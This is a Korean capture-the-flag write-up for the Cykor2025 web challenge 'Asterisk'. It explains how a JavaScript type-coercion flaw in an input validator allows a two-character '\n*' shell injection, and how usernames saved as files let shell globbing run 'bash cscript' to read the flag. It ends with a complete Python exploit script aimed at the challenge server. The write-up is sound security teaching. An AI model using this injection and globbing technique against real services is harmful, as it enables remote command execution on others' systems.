🔸[Cykor2025-web-1]Asterisk
Please verify your exploit locally first before asking for an instance. 🙏 You can use the pow-solver.py file to obtain a container instance.
http://54.180.15.185:8080/
문제 구조
C:.
│ Dockerfile
│ pow-solver.py
│
└─server
│ core.js
│ index.js
│ package-lock.json
│ package.json
│
├─bin
│ mini-run.js
│
├─public
│ app.html
│ index.html
│ login.html
│ signup.html
│
└─users
users.json
1. 👀 primitive - static analysis
첫 시작은 index.js를 분석하는 것이다.
why?
-
.html 과 .json은 제끼는 이유
-> html은 사용자의 브라우저에서 실행되는 코드로, 아무리 조작해도 서버에 영향이 없음. XSS공격에선 유의미할 수 있으나, 해당 문제에선 서버 장악(RCE) 가 필요하기 때문에 ❌.
-> json은 데이터/설정이므로, 실행능력이 없음. 공격의 결과물로 바뀔 수는 있어도 공격의 시작점이 될 순 없다! ❌. -
.js 중에서도 index.js를 보는 이유 (entry point / 종속성 관점)
-
entry point
{ "name": "asterisk", "version": "2.0.0", "private": true, "type": "commonjs", "main": "index.js", "scripts": { "start": "node index.js" }, "dependencies": { "express": "^5.1.0", "express-session": "^1.18.2" } }“start”: “node index.js”에서 서버를 켜면 index.js가 가장 먼저 실행되는 것을 알 수 있다.
-
종속성
한편, index.js는 쉘 명령어를 통해 mini-run.js를, mini-run.js는 core.js를 호출하고 있다.
index.js
mini-run.js
-
entry point
index.js 안에서의 데이터 흐름의 분석 과정은 다음과 같다.
-
Backwards tracing: 시스템을 장악할 수 있는 함수 (sink) 위주로 검색하기
검색 키워드:spawn,exec,eval,system,query
index.js - shell 실행 spawn 함수 이 가운데에서도 spawn 함수만 indexing 된다. 해당 함수는 sh를 실행하는데, 그 변수가 되는 shell은 input으로부터 오는 것을 알 수 있다.
-
shell을 만들 때 쓰이는 input을 거꾸로 따라가기
input은 runWithEchoPipeline의 arg1
runWithEchoPipeline의 호출 지점 shell을 만드는 input은 정의를 따라가보면 runWithEchoPipeline의 arg1이고, runWithEchoPipeline의 모든 참조를 따라가보면 위 사진과 같이 두 지점에서 호출하고 있는 것을 확인할 수 있다. 순서대로 다음과 같다.
💡Enpoint?
- app.get(‘/주소’, …): GET 요청을 받는 입구
- app.post(‘/주소’, …): POST 요청을 받는 입구
소스 코드에서 app.post(‘/submit’이라는 글자를 보자마자 브라우저나 파이썬으로 http://서버주소/submit에 POST 요청을 보내면 이 함수가 실행될 것을 알 수 있음.
// submit handler app.post('/submit', ... async (req, res) => { // [Source] 사용자가 보낸 데이터에서 'input'을 꺼냄 const { code, input } = req.body || {}; // [Sink] 사용자가 보낸 'input'을 그대로 함수에 넣음 -> 공격 가능! const r = await runWithEchoPipeline({ code, input }); // ... });app.post('/judge-all', ... async (req, res) => { const { code } = req.body || {}; // 여기서는 'code'만 꺼내고 'input'은 안 꺼냄 // [Sanitization] 서버가 스스로 'input' 값을 1부터 99까지 강제로 만듦 const inputs = Array.from({ length: 99 }, (_, i) => String(i + 1)); for (const t of inputs) { // [Safe] 사용자가 뭘 보내든 상관없이, 여기 들어가는 t는 무조건 "1", "2"... const r = await runWithEchoPipeline({ code, input: t }); // ... } });
submit handler vs judge-all handler 따라서 위와 같은 경우 submit handler가 취약할 수 있음을 이해할 수 있다.
-
submit handler에서 통과하는 shell이 하는 동작 관찰하기
const shell = `echo ${input} | node ../bin/mini-run.js --b64code '${b64code}'`;에 ‘\n*‘를 넘기게 되면,echo * | node ...가 동작하게 된다. 쉘에서 줄바꿈은 “앞의 명령어를 끝내고, 다음 명령어를 시작해라”라는 뜻으로 세미콜론과 같은 역할을 하므로, 와일드카드(*)가 동작하는 두번째 명령어가 중요하다.
예를 들어 echo * 결과가 아래와 같다면 순서대로 {실행할 프로그램(명령어)} {args0 args1 ...}로 인식하게 된다.> echo * >> python3 hello.py hi > * //python3 hello.py hi >> hi같은 원리로
bash cscript와 같은 명령어도 실행할 수 있다. 다시금 쉘 프로그램을 실행하여 미리 만들어둔 바이너리를 실행할 수 있는 것이다(cat ./flag.txt)
⇨ 입력 검증값 우회, shell injection ⇨ RCE🚨 -
shell을 만들 때 쓰이는 input을 거꾸로 따라가기; runWithEchoPipeline 함수의 validateTestInput
이렇게 runWithEchoPipeline에서 초기화된 input 변수가 shell injection에 중요한 역할을 한다는 것을 알게되었으므로, input 값에 대한 filtering 조건 이 있는지 확인해봐야한다.
💡 NOTE
submit 발생 > runWithEchoPipeline > !! > shell 실행
으로 이어지는데,
runWithEchoPipeline의 흐름 이 때 validateTestInput이 filter 역할을 한다.
validateTestInput의 정의 validateTestInput의 정의 부분은 다음과 같이 구현되어있다.(index.js)
function validateTestInput(inp) { // 1. 타입 검사: 입력값이 문자열이 아니면 차단 if (typeof inp !== 'string') return false; // 2. 길이 검사: 글자 수는 1글자 또는 2글자여야 함 // 이 제약 때문에 긴 공격 코드는 넣을 수 없지만, '\n*' 같은 2글자 공격은 가능 if (inp.length < 1 || inp.length > 2) return false; // 3. 비교 기준값 1 설정 (숫자) // [!] check 변수에 문자열 "0"이 아니라, 숫자(Number) 0을 할당 const check = 0; // 4. 비교 기준값 2 설정 (문자열) // 복잡해 보이지만, 결과적으로 upper는 문자열 "9"가 됨 // check(0) -> "0" -> ASCII(48) -> +9(57) -> ASCII 57은 "9" const upper = String.fromCharCode(check.toString().charCodeAt(0) + 9); // 5. 반복문: 입력된 문자열을 한 글자씩 검사 for (const ch of inp) { // 6. 핵심 취약점 발생 지점 // 논리: (ch >= 0) 또는 (ch <= "9") 중 하나라도 참이면 통과 if (!(ch >= check || ch <= upper)) return false; } return true; }구조는 아래 설명과 같다.
자바스크립트에서 문자열과 숫자를 비교할 때, 자바스크립트 엔진은 문자열을 숫자로 강제 변환(Type Coercion)하여 비교한다. 일반적인 문자 ‘a’, ‘z’ 등은 Number(‘a’)가 NaN이 되어 NaN >= 0은 false가 되지만, 공백 문자( )나 개행 문자(\n, \t)는 숫자로 변환하면 0이 되므로, 줄바꿈 등 Shell injection에 치명적인 문자들을 허용해주게 된다.
한편 두 condition 중 어느것 하나만 만족하면 되기 때문에, 후자도 관찰해보면 바로 ASCII 코드 상에서 “9”보다 작으면(ASCII 코드값 0x57) 통과된 다는 것이다. 이 두개의 느슨한 명제 때문에 아래가 가능하다
아스키 57보다 작은 문자들: ! (33), “ (34), # (35), $, %, &, ‘, (, ), * (42), +, ,, -, ., /.
validateTestInput의 작동 개요 -
Globbing attack을 통한 shell injection을 가능하게 하기 위한 파일 생성 gadget 찾기
우리는 이제껏 index.js의 submit 핸들러를 트리거 – 즉, login.html에서 로그인 성공 후 접근 가능한 app.html의 code 컴포넌트에 validateTestInput 조건에 맞는 값을 입력(아래 3. Dynamic Analysis with Docker에 기술) – 함으로써 시스템 장악 == Globbing attack을 통한 shell injection이 가능함을 관찰했다.
그러나 이 때 중요한 지점은, validateTestInput의 검증에 의해(1-4 기술 참고) 파일 생성 Gadget이 필수란 것이다.
index.js에서 WriteFile 함수 호출 부분 찾기 -
Globbing attack의 요구사항: 파일 생성 가능 / 파일 이름, 내용 커스텀 가능
- writeUsers: 파일 이름이 고정됨 (USERS_DB), 파일 내용은 json 형식으로 실행할 수 없음. ❌
- saveUserCodeToBin: 파일 이름은 username, 파일 내용은 code로 모두 커스텀 가능 💯
따라서 Globbing이 가능한 saveUserCodeToBin을 참조하고 있는 지점을 아래 두 사진과 같이 따라가 보자.
saveUserCodeToBin의 참조 지점(1)
참조 지점(2), (3) /judge-all은 앞선 정적분석에서 사용하지 않을 것으로 이미 판단했기 때문에, /submit과 /save에서 파일 저장을 트리거할 수 있단 것을 염두에 두어야한다.
-
Globbing attack의 요구사항: 파일 생성 가능 / 파일 이름, 내용 커스텀 가능
-
submit handler와 save handler의 위치 파악
server/public/*.html에서 submit handler 참조 확인하기
app.html에서 submit handler 호출 확인하기
server/public/*html에서 save handler 참조 확인하기
app.html에서 save hanlder 호출 확인하기
정확히 어떤 POST 요청에 대해 어떤 값이 날라가는지는 docker setting 후 개발자 도구에서 관찰할 수 있다.
2. Setting docker for Debugging
나는 디버깅 안되면 절대 익스를 못 작성하는데, 딱히 그러지 않고도 잘 솔브 하는 사람을 보면 신기하다..
주어진 도커파일을 참고하면, EXPOSE 3000 포트를 사용하므로 Dockerfile이 있는 디렉터리에서 아래를 실행하면 된다.
docker build -t asterisk .
docker run -d -p 3000:3000 --name asterisk_chall asterisk
docker exec -it asterisk_chall /bin/bash
run까지만 해도 http://localhost:3000 접속은 가능하다. 익스 과정에서 서버 내부 상황을 보고싶다면 exec까지 실행해주면 된다.
3. Dynamic Analysis with Docker
메인 페이지에서 보이는 몇개 버튼을 눌러보면 http://localhost:3000/nnn.html 와 같은 방식으로 접속되는 것을 확인할 수 있다.
- 별도의 경로를 주지 않아도 index.html이 보이는 이유는?
- 웹서버의 convention으로, 웹 서버(Node.js/Express, Apache, Nginx 등)는 주소 뒤에 특정 파일명을 적지 않고 루트(Root, /)만 요청하면, 자동으로 “기본 파일”을 찾아서 보여주도록 설계되어있으며, 그 기본파일의 이름이 index.html이 되는 것
app.use(express.static(path.join(__dirname, 'public')));
- 대부분의 서버는 위와 같이 사용자가 디렉터리만 요청하고 파일명을 안 적었을 경우, 그 폴더 안의 index.html이 있는지를 찾아보고 -> 있으면 사용자에게 그걸 보여주도록 하는 코드를 포함하고 있음.(index.js의 23번 line)
관찰을 토대로, submit endpoint에 접근하기 위해 ‘1. static analysis’의 마지막 부분에서 확인한 app.html을 경로로 넘겨줘보면, 바로 …/login.html로 리다이렉트 된다. 이로부터 다음 세가지를 알 수 있다.
- 일단 app.html이 서버에 있긴 함(없으면 404 반환)
- app.html은 로그인을 거쳐야 접근할 수 있는 페이지임
- submit endpoint에 접근하기 위해 index.html > login.html >..> app.html을 거쳐야함
위 두 사진을 참고하면, login.html에서 로그인 성공시 app.html로 이동하게 된다. 그렇담 확인한 취약점은 app.html에 있기 때문에 아무 계정으로 로그인하고 app.html 페이지로 넘어간다.(계정정보는 server의 /app/server/users에 기록)
submit handler는 $(‘#submit’)이 눌릴 때 트리거된다. 따라서 아래와 같이 식별할 수 있다.
그렇담 이제 해당 버튼을 눌렀을 때 어떤 액션이 일어나는지 디버깅 해볼 차례다.
적당한 값과 함께 $(‘#submit’)버튼을 누르면 bp에 걸리고, 원하는 변수에 마우스온 함으로써 페이지 기준 아래쪽 칸의 값(5678) input 변수로 들어간다는 것을 알 수 있으며, 이는 마저 실행하면서 실제 이벤트가 발생됨에 따라 Network 탭에서도 아래 두번째 사진처럼 확인 가능하다.
✅ SUMMARY
- index.js > mini_run.js > core.js로 실행됨
-
정적분석: Req.body를 받아 sh의 인자로 넘김. /submit 엔드포인트가 중요.
- 이 때 sh의 인자로 넘기기 전에 길이 및 ASCII 범위 제한을 검토하는 validation이 존재하는데, 여기서 충분히 걸러내지 못하면서(js의 강제 형변환) 🚨shell injection🚨이 가능해짐
- 동적분석: docker 실행하고 브라우저 접속하면 input이 login 성공 후 접속 가능한 app.html의 좌측 상단에서 두번째 칸, 엔드포인트는 Run 버튼 클릭 시 호출됨을 알 수 있음.
4. exploit 작성
🎮Exploit Code🎮
import requests
import json
import sys
# [중요] 문제 서버 URL (맨 뒤 슬래시 '/' 제거 필수)
# 예: http://54.180.15.185:8080/play/Qm...
TARGET_URL = "http://54.180.15.185:8080/play/Qm44xPxHsE1bZUtoO7ZDq0zDCexLiwGT"
def register_and_save(s, username, code):
# 1. Signup
print(f"[*] Registering user: {username}")
r = s.post(f"{TARGET_URL}/signup", json={"username": username, "password": "password123"})
if "Username already exists" in r.text:
print(f" User {username} exists, trying to login...")
# 2. Login
r = s.post(f"{TARGET_URL}/login", json={"username": username, "password": "password123"})
# 에러 체크 강화
if not r.json().get("ok"):
print(f"[-] Login failed for {username}")
print(f"[-] Server Error: {r.text}")
sys.exit(1)
# 3. Save Code
print(f"[*] Saving payload to {username}...")
r = s.post(f"{TARGET_URL}/save", json={"code": code})
if not r.json().get("ok"):
print(f"[-] Save failed: {r.text}")
sys.exit(1)
def exploit():
s = requests.Session()
# [수정됨] 유저 이름에서 밑줄(_) 제거!
# Step 1: 'bash' (명령어)
register_and_save(s, "bash", "dummy")
# Step 2: 'cscript' (실행할 스크립트 파일)
# 내용: 플래그 파일 읽기
register_and_save(s, "cscript", "cat /flag")
# Step 3: 'ztrigger' (공격 트리거용 유저)
# 출력 많이 하기
trigger_code = "\n".join(["input s", "print s"] * 10)
print(f"[*] Registering trigger user...")
# 여기도 이름 변경: z_trigger -> ztrigger
r = s.post(f"{TARGET_URL}/signup", json={"username": "ztrigger", "password": "password123"})
s.post(f"{TARGET_URL}/login", json={"username": "ztrigger", "password": "password123"})
# Step 4: 공격 실행
# '\n*' -> 쉘 확장 -> bash cscript users.json ztrigger ...
print("[*] Sending exploit payload...")
r = s.post(f"{TARGET_URL}/submit", json={
"code": trigger_code,
"input": "\n*"
})
response = r.json()
stdout = response.get("stdout", "")
print("\n" + "="*20 + " FULL OUTPUT " + "="*20)
print(stdout)
print("="*53 + "\n")
if "CyKor{" in stdout:
print(f"[+] SUCCESS! Flag found in output.")
else:
print("[-] Flag not found immediately. Check the FULL OUTPUT above.")
if __name__ == "__main__":
exploit()